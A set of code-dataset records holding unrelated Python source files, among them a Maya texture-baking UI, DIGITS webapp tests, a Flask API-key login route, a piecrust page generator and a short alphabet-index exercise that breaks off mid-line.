attachForm=[\r\n ('bakeTextureSequence_timeButton', 'top', 8),\r\n ('bakeTextureSequence_timeButton', 'left', 80),\r\n ('bakeTextureSequence_startFrameTxt', 'top', 5),\r\n ('bakeTextureSequence_startIF', 'top', 2),\r\n ('bakeTextureSequence_currentFrameCB', 'top', 6)\r\n ],\r\n attachControl=[\r\n ('bakeTextureSequence_startFrameTxt', 'left', 30, 'bakeTextureSequence_timeButton'),\r\n ('bakeTextureSequence_endFrameTxt', 'top', 10, 'bakeTextureSequence_startFrameTxt'),\r\n ('bakeTextureSequence_endFrameTxt', 'left', 30, 'bakeTextureSequence_timeButton'),\r\n ('bakeTextureSequence_startIF', 'left', 5, 'bakeTextureSequence_startFrameTxt'),\r\n ('bakeTextureSequence_endIF', 'top', 4, 'bakeTextureSequence_startIF'),\r\n ('bakeTextureSequence_endIF', 'left', 5, 'bakeTextureSequence_endFrameTxt'),\r\n ('bakeTextureSequence_currentFrameCB', 'left', 65, 'bakeTextureSequence_startIF'),\r\n ('bakeTextureSequence_byFrameTxt', 'top', 8, 'bakeTextureSequence_currentFrameCB'),\r\n ('bakeTextureSequence_byFrameTxt', 'left', 60, 'bakeTextureSequence_startIF'),\r\n ('bakeTextureSequence_byFrameIF', 'top', 5, 'bakeTextureSequence_currentFrameCB'),\r\n ('bakeTextureSequence_byFrameIF', 'left', 2, 'bakeTextureSequence_byFrameTxt') \r\n ])\r\n \r\n#bake options frameLayout \r\n cmds.frameLayout('bakeTextureSequence_bakeOptionsFrame', l='Bake Options', marginHeight=5, collapsable=1, collapse=0, borderStyle='etchedIn', p='bakeTextureSequence_mainCol')\r\n cmds.formLayout('bakeTextureSequence_bakeOptionsForm', p='bakeTextureSequence_bakeOptionsFrame')\r\n cmds.radioButtonGrp('bakeTextureSequence_bakeTypeRBG', columnWidth=[2, 80], adjustableColumn=1, select=1, label='Bake Type: ', cc='bakeTextureSequence_mayaOrMR()', labelArray2=['Maya', 'Mental Ray'], numberOfRadioButtons=2, p='bakeTextureSequence_bakeOptionsForm') \r\n cmds.checkBox('bakeTextureSequence_maintainCB', l='Maintain x/y ratio', value=1, onc='cmds.intSliderGrp(\\'bakeTextureSequence_yResFSG\\',e=1, enable=0);bakeTextureSequence_maintain()', ofc='cmds.intSliderGrp(\\'bakeTextureSequence_yResFSG\\',e=1, enable=1)', align='left', p='bakeTextureSequence_bakeOptionsForm')\r\n cmds.intSliderGrp('bakeTextureSequence_xResFSG', label='X resolution: ', field=True, minValue=1, maxValue=4096, value=512, step=1, cc='bakeTextureSequence_maintain()', dc='bakeTextureSequence_maintain()', p='bakeTextureSequence_bakeOptionsForm') \r\n cmds.intSliderGrp('bakeTextureSequence_yResFSG', label='Y resolution: ', field=True, minValue=1, maxValue=4096, value=512, step=1, enable=0, p='bakeTextureSequence_bakeOptionsForm')\r\n cmds.optionMenuGrp('bakeTextureSequence_fileFormatOMG', label='File format: ', columnWidth=(2, 80), p='bakeTextureSequence_bakeOptionsForm')\r\n cmds.menuItem('bakeTextureSequence_fileFormatJpgMI', label='JEPG (jpg)')\r\n cmds.menuItem('bakeTextureSequence_fileFormatIffMI', label='Maya IFF (iff)')\r\n cmds.menuItem('bakeTextureSequence_fileFormatPsdMI', label='PSD (psd)')\r\n cmds.menuItem('bakeTextureSequence_fileFormatSgiMI', label='SGI (sgi)')\r\n cmds.menuItem('bakeTextureSequence_fileFormatTgaMI', label='Targa (tga)')\r\n cmds.menuItem('bakeTextureSequence_fileFormatTifMI', label='Tiff (tif)')\r\n cmds.intSliderGrp('bakeTextureSequence_paddingFSG', label='Padding: ', field=True, minValue=0, maxValue=10, value=4, step=1, p='bakeTextureSequence_bakeOptionsForm')\r\n cmds.textFieldGrp('bakeTextureSequence_prefixTFG', label='Prefix: ', text='', p='bakeTextureSequence_bakeOptionsForm' )\r\n cmds.checkBox('bakeTextureSequence_renameCB', l='Rename -- (default name will be: \"objectName_textureName.#.ext\")', value=0, onc='cmds.textFieldGrp(\\'bakeTextureSequence_renameTFG\\',e=1, enable=1)', ofc='cmds.textFieldGrp(\\'bakeTextureSequence_renameTFG\\',e=1, enable=0)', align='left', p='bakeTextureSequence_bakeOptionsForm')\r\n cmds.textFieldGrp('bakeTextureSequence_renameTFG', label='New Name: ', text='', enable=0, p='bakeTextureSequence_bakeOptionsForm' )\r\n cmds.textFieldButtonGrp('bakeTextureSequence_browserFBG', columnWidth=[2, 200], adjustableColumn=2, label='Output Directory: ', buttonLabel='Browser', buttonCommand='bakeTextureSequence_browser()', p='bakeTextureSequence_bakeOptionsForm')\r\n \r\n cmds.formLayout('bakeTextureSequence_bakeOptionsForm', e=1, \r\n attachForm=[\r\n ('bakeTextureSequence_bakeTypeRBG', 'top', 8),\r\n ('bakeTextureSequence_bakeTypeRBG', 'left', 0), \r\n ('bakeTextureSequence_maintainCB', 'left', 95),\r\n ('bakeTextureSequence_xResFSG', 'left', 0),\r\n ('bakeTextureSequence_xResFSG', 'right', 10),\r\n ('bakeTextureSequence_yResFSG', 'left', 0),\r\n ('bakeTextureSequence_yResFSG', 'right', 10),\r\n ('bakeTextureSequence_fileFormatOMG', 'left', 0),\r\n ('bakeTextureSequence_fileFormatOMG', 'right', 10),\r\n ('bakeTextureSequence_browserFBG', 'left', 0),\r\n ('bakeTextureSequence_browserFBG', 'right', 5),\r\n ('bakeTextureSequence_paddingFSG', 'left', 0),\r\n ('bakeTextureSequence_paddingFSG', 'right', 10),\r\n ('bakeTextureSequence_prefixTFG', 'left', 0),\r\n ('bakeTextureSequence_renameCB', 'left', 95),\r\n ('bakeTextureSequence_renameTFG', 'left', 0)\r\n ],\r\n attachControl=[\r\n ('bakeTextureSequence_maintainCB', 'top', 15, 'bakeTextureSequence_bakeTypeRBG'),\r\n ('bakeTextureSequence_xResFSG', 'top', 3, 'bakeTextureSequence_maintainCB'),\r\n ('bakeTextureSequence_yResFSG', 'top', 1, 'bakeTextureSequence_xResFSG'),\r\n ('bakeTextureSequence_fileFormatOMG', 'top', 5, 'bakeTextureSequence_yResFSG'),\r\n ('bakeTextureSequence_paddingFSG', 'top', 5, 'bakeTextureSequence_fileFormatOMG'),\r\n ('bakeTextureSequence_renameCB', 'top', 5, 'bakeTextureSequence_paddingFSG'), \r\n ('bakeTextureSequence_renameTFG', 'top', 5, 'bakeTextureSequence_renameCB'), \r\n ('bakeTextureSequence_prefixTFG', 'top', 5, 'bakeTextureSequence_renameTFG'), \r\n ('bakeTextureSequence_browserFBG', 'top', 5, 'bakeTextureSequence_prefixTFG') \r\n ]) \r\n \r\n \r\n \r\n#edit mainForm\r\n cmds.formLayout('bakeTextureSequence_mainForm', e=1, \r\n attachForm=[\r\n ('bakeTextureSequence_mainCol', 'top', 0),\r\n ('bakeTextureSequence_mainCol', 'left', 0),\r\n ('bakeTextureSequence_mainCol', 'right', 0),\r\n ('bakeTextureSequence_mainCol', 'bottom', 80),\r\n ('bakeTextureSequence_cancelTxt', 'left', 5),\r\n ('bakeTextureSequence_cancelTxt', 'right', 5),\r\n ('bakeTextureSequence_cancelTxt', 'bottom', 60), \r\n ('bakeTextureSequence_progBar', 'left', 5),\r\n ('bakeTextureSequence_progBar', 'right', 5),\r\n ('bakeTextureSequence_progBar', 'bottom', 40),\r\n ('bakeTextureSequence_executeButton', 'left', 5),\r\n ('bakeTextureSequence_executeButton', 'right', 5),\r\n ('bakeTextureSequence_executeButton', 'bottom', 2)\r\n ],\r\n attachControl=[\r\n ('bakeTextureSequence_cancelTxt', 'top', 5, 'bakeTextureSequence_mainCol'),\r\n ('bakeTextureSequence_progBar', 'top', 5, 'bakeTextureSequence_cancelTxt'),\r\n ('bakeTextureSequence_executeButton', 'top', 5, 'bakeTextureSequence_progBar')\r\n ]) \r\n \r\n#show and resize window \r\n cmds.showWindow('bakeTextureSequence_win') \r\n cmds.window('bakeTextureSequence_win', e=1, wh=[600,630]) \r\n\r\n#run some functions \r\n bakeTextureSequence_outputDir()\r\n\r\n#-------------------------------------------------------------------------------------------------------------\r\n#print\r\n #endTime = time.time()\r\n #totalTime = endTime - startTime\r\n #printString += '// total time: ' + str(totalTime) + ' seconds\\n'\r\n printString += '////////////////////////////////////////////////////////////////////////////////////////////\\n\\n'\r\n #print printString\r\n #print ('COMPLETE -- check script editor for details...\\n')\r\n\r\n#*************************************************************************************************************\r\n#*end bakeTextureSequence()\r\n\r\n'''\r\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n'''\r\n","sub_path":"bakeTextureSequence.py","file_name":"bakeTextureSequence.py","file_ext":"py","file_size_in_byte":43440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"232573210","text":"import random, string\n\nvowels = \"aeiuo\"\nconsonents = \"bcdfghjklmnpqrstuvwxyz\"\nletters = string.ascii_lowercase\n\nletter_input_1 = input(\"What letter do you want? Enter 'v' for vowel, 'c' for consonent, 'l' for letter \")\nletter_input_2 = input(\"What letter do you want? Enter 'v' for vowel, 'c' for consonent, 'l' for letter \")\nletter_input_3 = input(\"What letter do you want? Enter 'v' for vowel, 'c' for consonent, 'l' for letter \")\n\n\ndef generator():\n\n if letter_input_1 == 'v':\n letter1 = random.choice(vowels)\n elif letter_input_1 == 'c':\n letter1 = random.choice(consonents)\n elif letter_input_1 == 'l':\n letter1 = random.choice(letters)\n else:\n letter1 = letter_input_1\n\n if letter_input_2 == 'v':\n letter2 = random.choice(vowels)\n elif letter_input_2 == 'c':\n letter2 = random.choice(consonents)\n elif letter_input_2 == 'l':\n letter2 = random.choice(letters)\n else:\n letter2 = letter_input_2\n\n if letter_input_3 == 'v':\n letter3 = random.choice(vowels)\n elif letter_input_3 == 'c':\n letter3 = random.choice(consonents)\n elif letter_input_3 == 'l':\n letter3 = random.choice(letters)\n else:\n letter3 = letter_input_3\n\n\n name = letter1+letter2+letter3\n return name\n\nfor i in range(10):\n print(generator())","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"196823466","text":"import numpy as np\n\n\nclass MultiThreadedNetworkSkimming:\n def __init__(self):\n self.predecessors = None # The predecessors for each node in the graph\n self.temporary_skims = None # holds the skims for all nodes in the network (during path finding)\n self.reached_first = None # Keeps the order in which the nodes were reached for the cascading network loading\n self.connectors = None # The previous link for each node in the tree\n self.temp_b_nodes = None # holds the b_nodes in case of flows through centroid connectors are blocked\n\n # In case we want to do by hand, we can prepare each method individually\n def prepare(self, graph, results):\n itype = graph.default_types('int')\n ftype = graph.default_types('float')\n self.predecessors = np.zeros((results.nodes, results.cores), dtype=itype)\n self.temporary_skims = np.zeros((results.nodes, results.num_skims, results.cores), dtype=ftype)\n self.reached_first = np.zeros((results.nodes, results.cores), dtype=itype)\n self.connectors = np.zeros((results.nodes, results.cores), dtype=itype)\n self.temp_b_nodes = np.zeros((graph.b_node.shape[0], results.cores), dtype=itype)\n\n for i in range(results.cores):\n self.temp_b_nodes[:, i] = graph.b_node[:]","sub_path":"aequilibrae/paths/multi_threaded_skimming.py","file_name":"multi_threaded_skimming.py","file_ext":"py","file_size_in_byte":1315,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"120728761","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom flask import Flask, request\nfrom lilib import get_chave, get_auth\nimport json\napp = Flask(__name__)\n\n@app.route(\"/chave_api\")\ndef chave_api():\n senha = request.args.get('senha', '')\n email = request.args.get('email', '')\n if not senha or not email:\n return json.dumps({\n 'erro': 'Senha ou usuário invalido'\n })\n auth = get_auth(email=email, senha=senha)\n if not auth:\n return json.dumps({\n 'erro': 'Senha ou usuário invalido'\n })\n chave = get_chave(auth)\n return json.dumps({\n 'chave': chave\n })\n\n\n\nif __name__ == \"__main__\":\n app.run()","sub_path":"logon.py","file_name":"logon.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"517499889","text":"# Copyright (c) 2014-2015, NVIDIA CORPORATION. All rights reserved.\n\nimport json\nimport os\nimport shutil\nimport tempfile\nimport time\nimport unittest\n\nfrom gevent import monkey\nmonkey.patch_all()\n\nimport numpy as np\nfrom skimage import io\nfrom urlparse import urlparse\nfrom cStringIO import StringIO\n\nimport webapp\n\n\ndef get_dummy_network():\n return \\\n \"\"\"\n layer {\n name: \"in\"\n type: 'InnerProduct'\n bottom: \"data\"\n top: \"in\"\n inner_product_param {\n num_output: 3\n }\n }\n layer {\n name: \"loss\"\n type: \"SoftmaxWithLoss\"\n bottom: \"in\"\n bottom: \"label\"\n top: \"loss\"\n }\n layer {\n name: \"accuracy\"\n type: \"Accuracy\"\n bottom: \"in\"\n bottom: \"label\"\n top: \"accuracy\"\n include {\n phase: TEST\n }\n }\n \"\"\"\n\n\ndef create_rgb_dataset(data_path):\n dim = 64\n count = 10\n min_color = 200\n labels = {'red': 0, 'green': 1, 'blue': 2}\n # Stores the relative path of each image of the dataset.\n images = {'red': [], 'green': [], 'blue': []}\n for (label, idx) in labels.iteritems():\n label_path = label\n os.mkdir(os.path.join(data_path, label_path))\n\n colors = np.linspace(min_color, 255, count)\n for i in range(count):\n pixel = [0, 0, 0]\n pixel[idx] = colors[i]\n img = np.full((dim, dim, 3), pixel, dtype=np.uint8)\n\n img_path = os.path.join(label_path, str(i) + '.png')\n io.imsave(os.path.join(data_path, img_path), img)\n images[label].append(img_path)\n\n return images\n\n\nclass BaseTestCase(unittest.TestCase):\n\n @classmethod\n def setup_class(cls):\n cls.data_path = tempfile.mkdtemp()\n cls.images = create_rgb_dataset(cls.data_path)\n\n @classmethod\n def teardown_class(cls):\n shutil.rmtree(cls.data_path)\n\n def setUp(self):\n webapp.scheduler.start()\n webapp.app.config['WTF_CSRF_ENABLED'] = False\n webapp.app.config['debug'] = True\n self.app = webapp.app.test_client()\n self.server = 'http://0.0.0.0:5000/'\n self.jobs = self.server + '/jobs/'\n self.created_jobs = []\n\n def tearDown(self):\n # If a test fail, some jobs might not be deleted correctly, try to cleanup all created jobs here.\n for job in self.created_jobs:\n self.job_try_delete(job)\n\n # Do not stop the scheduler here, since this action is\n # asynchronous. This would likely cause the next test to fail.\n\n def job_exists(self, job_name):\n job_url = self.jobs + job_name\n rv = self.app.get(job_url, follow_redirects=True)\n rv.close()\n assert rv.status_code == 200 or rv.status_code == 404\n return rv.status_code == 200\n\n def extract_name(self, rv):\n job_url = rv.headers['Location']\n parsed_url = urlparse(job_url)\n job_name = parsed_url.path.split('/')[-1]\n return job_name\n\n def dataset_create_folder(self, name, folder):\n create_url = self.server + '/datasets/images/classification'\n body = {'dataset_name': name, 'method': 'folder', 'folder_train': folder}\n rv = self.app.post(create_url, data=body)\n rv.close()\n assert rv.status_code >= 300 and rv.status_code <= 310, 'No redirect after dataset creation'\n\n job_name = self.extract_name(rv)\n assert self.job_exists(job_name)\n\n self.created_jobs.append(job_name)\n return job_name\n\n def dataset_create_textfile(self, name, absolute_path=True):\n textfile_train_images = ''\n textfile_labels_file = ''\n label_id = 0\n for (label, images) in self.images.iteritems():\n textfile_labels_file += '%s\\n' % label\n for image in images:\n image_path = image\n if absolute_path:\n image_path = os.path.join(self.data_path, image_path)\n textfile_train_images += '%s %d\\n' % (image_path, label_id)\n\n label_id += 1\n\n # StringIO wrapping is needed to simulate POST file upload.\n train_upload = (StringIO(textfile_train_images), 'train.txt')\n # Use the same list for training and validation.\n val_upload = (StringIO(textfile_train_images), 'val.txt')\n labels_upload = (StringIO(textfile_labels_file), 'labels.txt')\n body = {'dataset_name': name, 'method': 'textfile', 'textfile_train_images': train_upload,\n 'textfile_use_val': 'y', 'textfile_val_images': val_upload,\n 'textfile_labels_file': labels_upload}\n if not absolute_path:\n body['textfile_train_folder'] = self.data_path\n body['textfile_val_folder'] = self.data_path\n\n create_url = self.server + '/datasets/images/classification'\n rv = self.app.post(create_url, data=body)\n assert rv.status_code >= 300 and rv.status_code <= 310, 'No redirect after dataset creation'\n\n job_name = self.extract_name(rv)\n assert self.job_exists(job_name)\n\n self.created_jobs.append(job_name)\n return job_name\n\n\n def model_create(self, name, dataset):\n network = get_dummy_network()\n create_url = self.server + '/models/images/classification'\n body = {'model_name': name, 'dataset': dataset, 'method': 'custom', 'custom_network': network}\n rv = self.app.post(create_url, data=body)\n rv.close()\n assert rv.status_code >= 300 and rv.status_code <= 310, 'No redirect after model creation'\n\n job_name = self.extract_name(rv)\n assert self.job_exists(job_name)\n\n self.created_jobs.append(job_name)\n return job_name\n\n def model_download(self, job_name, epoch):\n body = {'snapshot_epoch': epoch}\n download_url = self.server + '/models/' + job_name + '/download_snapshot'\n rv = self.app.post(download_url, data=body)\n rv.close()\n assert rv.status_code == 200\n\n def job_status(self, job_name):\n status_url = self.jobs + job_name + '/status'\n rv = self.app.get(status_url)\n assert rv.status_code == 200, 'Cannot get status of job %s' % job_name\n status = json.loads(rv.data)\n return status\n\n def job_wait_completion(self, job_name, timeout, polling_period=0.5):\n elapsed = 0\n while True:\n status = self.job_status(job_name)\n if status['status'] == 'Done':\n break\n assert status['status'] in ['Initialized', 'Waiting', 'Running'], 'Invalid job status: %s' % status['status']\n time.sleep(polling_period)\n elapsed += polling_period\n assert elapsed < timeout, 'Job completion timeout'\n\n def job_abort(self, job_name):\n abort_url = self.jobs + job_name + '/abort'\n self.app.post(abort_url)\n\n def job_try_delete(self, job_name):\n rv = self.app.delete('/jobs/' + job_name)\n rv.close()\n\n def job_delete(self, job_name):\n rv = self.app.delete('/jobs/' + job_name)\n assert rv.status_code == 200\n rv.close()\n\n def job_delete_code(self, job_name):\n rv = self.app.delete('/jobs/' + job_name)\n rc = rv.status_code\n rv.close()\n return rc\n\n\nclass WebappTestCase(BaseTestCase):\n\n def test_page_home(self):\n rv = self.app.get('/')\n assert rv.status_code == 200\n for h in ['Home', 'Datasets', 'Models']:\n assert h in rv.data\n\n def test_page_dataset_new(self):\n dataset_new_url = self.server + '/datasets/images/classification/new'\n rv = self.app.get(dataset_new_url)\n assert rv.status_code == 200\n assert 'New Image Classification Dataset' in rv.data\n\n def test_page_model_new(self):\n model_new_url = self.server + '/models/images/classification/new'\n rv = self.app.get(model_new_url)\n assert rv.status_code == 200\n assert 'New Image Classification Model' in rv.data\n\n def test_invalid_page(self):\n rv = self.app.get('/foo')\n assert rv.status_code == 404\n\n def test_invalid_job(self):\n assert not self.job_exists('foo'), 'Invalid job query should return 404'\n\n def test_dataset_create_delete(self):\n dataset_name = self.dataset_create_folder('rgb_dataset', self.data_path)\n self.job_delete(dataset_name)\n assert not self.job_exists(dataset_name), 'Job was not deleted'\n\n def test_dataset_create_invalid(self):\n empty_dir = tempfile.mkdtemp()\n dataset_name = self.dataset_create_folder('rgb_dataset', empty_dir)\n time.sleep(3)\n status = self.job_status(dataset_name)\n assert status['status'] == 'Error'\n\n def test_dataset_create_wait_delete(self):\n dataset_name = self.dataset_create_folder('rgb_dataset', self.data_path)\n self.job_wait_completion(dataset_name, 10)\n self.job_delete(dataset_name)\n assert not self.job_exists(dataset_name), 'Job was not deleted'\n\n def test_dataset_create_abort_delete(self):\n dataset_name = self.dataset_create_folder('rgb_dataset', self.data_path)\n self.job_abort(dataset_name)\n self.job_delete(dataset_name)\n assert not self.job_exists(dataset_name), 'Job was not deleted'\n\n def test_model_create_delete(self):\n dataset_name = self.dataset_create_folder('rgb_dataset', self.data_path)\n model_name = self.model_create('rgb_model', dataset_name)\n self.job_delete(model_name)\n self.job_delete(dataset_name)\n assert not self.job_exists(dataset_name), 'Job was not deleted'\n assert not self.job_exists(model_name), 'Job was not deleted'\n\n # Concurrently delete a dataset and create a model.\n def test_model_create_with_deleted_database(self):\n dataset_name = self.dataset_create_folder('rgb_dataset', self.data_path)\n self.job_wait_completion(dataset_name, 10)\n self.job_delete(dataset_name)\n try:\n model_name = self.model_create('rgb_model', dataset_name)\n except AssertionError:\n pass\n else:\n self.job_delete(model_name)\n assert False, 'Model creation should have failed'\n\n def test_model_wait_create_delete(self):\n dataset_name = self.dataset_create_folder('rgb_dataset', self.data_path)\n self.job_wait_completion(dataset_name, 10)\n model_name = self.model_create('rgb_model', dataset_name)\n self.job_delete(model_name)\n self.job_delete(dataset_name)\n assert not self.job_exists(model_name), 'ModelJob was not deleted'\n assert not self.job_exists(dataset_name), 'DatasetJob was not deleted'\n\n def test_model_wait_create_wait_delete(self):\n dataset_name = self.dataset_create_folder('rgb_dataset', self.data_path)\n self.job_wait_completion(dataset_name, 10)\n model_name = self.model_create('rgb_model', dataset_name)\n self.job_wait_completion(model_name, 30)\n self.job_delete(model_name)\n self.job_delete(dataset_name)\n assert not self.job_exists(model_name), 'ModelJob was not deleted'\n assert not self.job_exists(dataset_name), 'DatasetJob was not deleted'\n\n def test_model_download(self):\n dataset_name = self.dataset_create_folder('rgb_dataset', self.data_path)\n self.job_wait_completion(dataset_name, 10)\n model_name = self.model_create('rgb_model', dataset_name)\n self.job_wait_completion(model_name, 30)\n\n self.model_download(model_name, 1)\n\n self.job_delete(model_name)\n self.job_delete(dataset_name)\n assert not self.job_exists(model_name), 'ModelJob was not deleted'\n assert not self.job_exists(dataset_name), 'DatasetJob was not deleted'\n\n def test_model_create_wait_delete(self):\n \"\"\"\n Create model while dataset still running\n \"\"\"\n dataset_name = self.dataset_create_folder('rgb_dataset', self.data_path)\n model_name = self.model_create('rgb_model', dataset_name)\n self.job_wait_completion(model_name, 10)\n self.job_delete(model_name)\n self.job_delete(dataset_name)\n assert not self.job_exists(model_name), 'ModelJob was not deleted'\n assert not self.job_exists(dataset_name), 'DatasetJob was not deleted'\n\n # A dataset should not be deleted while a model using it is running.\n def test_model_create_dataset_delete(self):\n \"\"\"\n Delete dataset while model still running\n \"\"\"\n dataset_name = self.dataset_create_folder('rgb_dataset', self.data_path)\n model_name = self.model_create('rgb_model', dataset_name)\n assert self.job_delete_code(dataset_name) == 403, 'Job should not have been deleted'\n self.job_delete(model_name)\n self.job_delete(dataset_name)\n assert not self.job_exists(model_name), 'ModelJob was not deleted'\n assert not self.job_exists(dataset_name), 'DatasetJob was not deleted'\n\n def test_textfile_absolute_path(self):\n dataset_name = self.dataset_create_textfile('rgb_dataset')\n self.job_wait_completion(dataset_name, 10)\n model_name = self.model_create('rgb_model', dataset_name)\n self.job_wait_completion(model_name, 30)\n self.job_delete(model_name)\n self.job_delete(dataset_name)\n assert not self.job_exists(model_name), 'ModelJob was not deleted'\n assert not self.job_exists(dataset_name), 'DatasetJob was not deleted'\n\n def test_textfile_relative_path(self):\n dataset_name = self.dataset_create_textfile('rgb_dataset', absolute_path=False)\n self.job_wait_completion(dataset_name, 10)\n model_name = self.model_create('rgb_model', dataset_name)\n self.job_wait_completion(model_name, 30)\n self.job_delete(model_name)\n self.job_delete(dataset_name)\n assert not self.job_exists(model_name), 'ModelJob was not deleted'\n assert not self.job_exists(dataset_name), 'DatasetJob was not deleted'\n","sub_path":"digits/test_webapp.py","file_name":"test_webapp.py","file_ext":"py","file_size_in_byte":14023,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"413099612","text":"\"\"\"The WaveBlocks Project\n\nCompute the differences of serveral wavepackets to the reference wavepacket.\n\n@author: O. Rietmann\n@copyright: Copyright (C) 2020 O. Rietmann\n@license: Modified BSD License\n\"\"\"\n\n\ndef get_xvalues(iom, xkey):\n \"\"\"Compute the inner product of a wavepacket timeseries.\n\n :param iom: An :py:class:`IOManager` instance providing the simulation data.\n :param xkey: String containing the key to a simulation parameter\n \"\"\"\n if not iom.has_parameters():\n raise RuntimeError(\"No simulation parameters in '{}'!\".format(iom._srf.filename))\n\n # get the parameter to appear on the x-axis of the convergence plot\n sim_params = iom.load_parameters()\n return sim_params[xkey]\n","sub_path":"WaveBlocksND/Interface/ComputeConvergence.py","file_name":"ComputeConvergence.py","file_ext":"py","file_size_in_byte":717,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"62397521","text":"import logging\nfrom werkzeug.utils import cached_property\nfrom piecrust.baking.records import BakeRecordEntry\nfrom piecrust.baking.worker import save_factory, JOB_BAKE\nfrom piecrust.configuration import ConfigurationError\nfrom piecrust.routing import create_route_metadata\nfrom piecrust.sources.pageref import PageRef\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass InvalidRecordExtraKey(Exception):\n pass\n\n\nclass PageGeneratorBakeContext(object):\n def __init__(self, app, record, pool, generator):\n self._app = app\n self._record = record\n self._pool = pool\n self._generator = generator\n self._job_queue = []\n self._is_running = False\n\n def getRecordExtraKey(self, seed):\n return '%s:%s' % (self._generator.name, seed)\n\n def matchesRecordExtraKey(self, extra_key):\n return (extra_key is not None and\n extra_key.startswith(self._generator.name + ':'))\n\n def getSeedFromRecordExtraKey(self, extra_key):\n if not self.matchesRecordExtraKey(extra_key):\n raise InvalidRecordExtraKey(\"Invalid extra key: %s\" % extra_key)\n return extra_key[len(self._generator.name) + 1:]\n\n def getAllPageRecords(self):\n return self._record.transitions.values()\n\n def getBakedPageRecords(self):\n for prev, cur in self.getAllPageRecords():\n if cur and cur.was_any_sub_baked:\n yield (prev, cur)\n\n def collapseRecord(self, entry):\n self._record.collapseEntry(entry)\n\n def queueBakeJob(self, page_fac, route, extra_route_metadata, seed):\n if self._is_running:\n raise Exception(\"The job queue is running.\")\n\n extra_key = self.getRecordExtraKey(seed)\n entry = BakeRecordEntry(\n page_fac.source.name,\n page_fac.path,\n extra_key)\n self._record.addEntry(entry)\n\n page = page_fac.buildPage()\n route_metadata = create_route_metadata(page)\n route_metadata.update(extra_route_metadata)\n uri = route.getUri(route_metadata)\n override_entry = self._record.getOverrideEntry(page.path, uri)\n if override_entry is not None:\n override_source = self.app.getSource(\n override_entry.source_name)\n if override_source.realm == page_fac.source.realm:\n entry.errors.append(\n \"Page '%s' maps to URL '%s' but is overriden \"\n \"by page '%s'.\" %\n (page_fac.ref_spec, uri, override_entry.path))\n logger.error(entry.errors[-1])\n entry.flags |= BakeRecordEntry.FLAG_OVERRIDEN\n return\n\n route_index = self._app.routes.index(route)\n job = {\n 'type': JOB_BAKE,\n 'job': {\n 'factory_info': save_factory(page_fac),\n 'generator_name': self._generator.name,\n 'generator_record_key': extra_key,\n 'route_index': route_index,\n 'route_metadata': route_metadata,\n 'dirty_source_names': self._record.dirty_source_names,\n 'needs_config': True\n }\n }\n self._job_queue.append(job)\n\n def runJobQueue(self):\n def _handler(res):\n entry = self._record.getCurrentEntry(\n res['path'], res['generator_record_key'])\n entry.config = res['config']\n entry.subs = res['sub_entries']\n if res['errors']:\n entry.errors += res['errors']\n if entry.has_any_error:\n self._record.current.success = False\n\n self._is_running = True\n try:\n ar = self._pool.queueJobs(self._job_queue, handler=_handler)\n ar.wait()\n finally:\n self._is_running = False\n\n\nclass PageGenerator(object):\n def __init__(self, app, name, config):\n self.app = app\n self.name = name\n self.config = config or {}\n\n self.source_name = config.get('source')\n if self.source_name is None:\n raise ConfigurationError(\n \"Generator '%s' requires a source name\" % name)\n\n page_ref = config.get('page')\n if page_ref is None:\n raise ConfigurationError(\n \"Generator '%s' requires a listing page ref.\" % name)\n self.page_ref = PageRef(app, page_ref)\n\n self.data_endpoint = config.get('data_endpoint')\n self.data_type = config.get('data_type')\n if self.data_endpoint and not self.data_type:\n raise ConfigurationError(\n \"Generator '%s' requires a data type because it has \"\n \"a data endpoint.\" % name)\n\n self._provider_type = None\n\n @cached_property\n def source(self):\n for src in self.app.sources:\n if src.name == self.source_name:\n return src\n raise Exception(\"Can't find source '%s' for generator '%s'.\" % (\n self.source_name, self.name))\n\n def getSupportedRouteParameters(self):\n raise NotImplementedError()\n\n def getPageFactory(self, route_metadata):\n # This will raise `PageNotFoundError` naturally if not found.\n return self.page_ref.getFactory()\n\n def bake(self, ctx):\n raise NotImplementedError()\n\n def onRouteFunctionUsed(self, route, route_metadata):\n pass\n\n def buildDataProvider(self, page, override):\n if not self._provider_type:\n from piecrust.data.provider import get_data_provider_class\n self._provider_type = get_data_provider_class(self.app,\n self.data_type)\n return self._provider_type(self, page, override)\n","sub_path":"piecrust/generation/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":5843,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"517136263","text":"# 알파벳 소문자로만 이루어진 단어 S가 주어진다. \n# 각각의 알파벳에 대해서, 단어에 포함되어 있는 경우에는 처음 등장하는 위치를, 포함되어 있지 않은 경우에는 -1을 출력하는 프로그램을 작성하시오.\n\n# 입력\n# 첫째 줄에 단어 S가 주어진다. \n# 단어의 길이는 100을 넘지 않으며, 알파벳 소문자로만 이루어져 있다.\n\n# 출력\n# 각각의 알파벳에 대해서, a가 처음 등장하는 위치, b가 처음 등장하는 위치, ... z가 처음 등장하는 위치를 공백으로 구분해서 출력한다.\n# 만약, 어떤 알파벳이 단어에 포함되어 있지 않다면 -1을 출력한다. \n# 단어의 첫 번째 글자는 0번째 위치이고, 두 번째 글자는 1번째 위치이다.\n\n# import string\n\n# word = input()\n\n# alphabet_dict = dict()\n# for i in string.ascii_lowercase:\n# alphabet_dict[i] = -1\n\n# index_dict = dict()\n# for index, i in enumerate(word):\n# \tif i not in index_dict.keys(): index_dict[i] = index \n\n# for key, value in index_dict.items():\n# alphabet_dict[key] = value\n \n# print(\" \".join([str(value) for value in alphabet_dict.values()]))\n# \nimport string\n\nword = input()\n\nresult = {i : 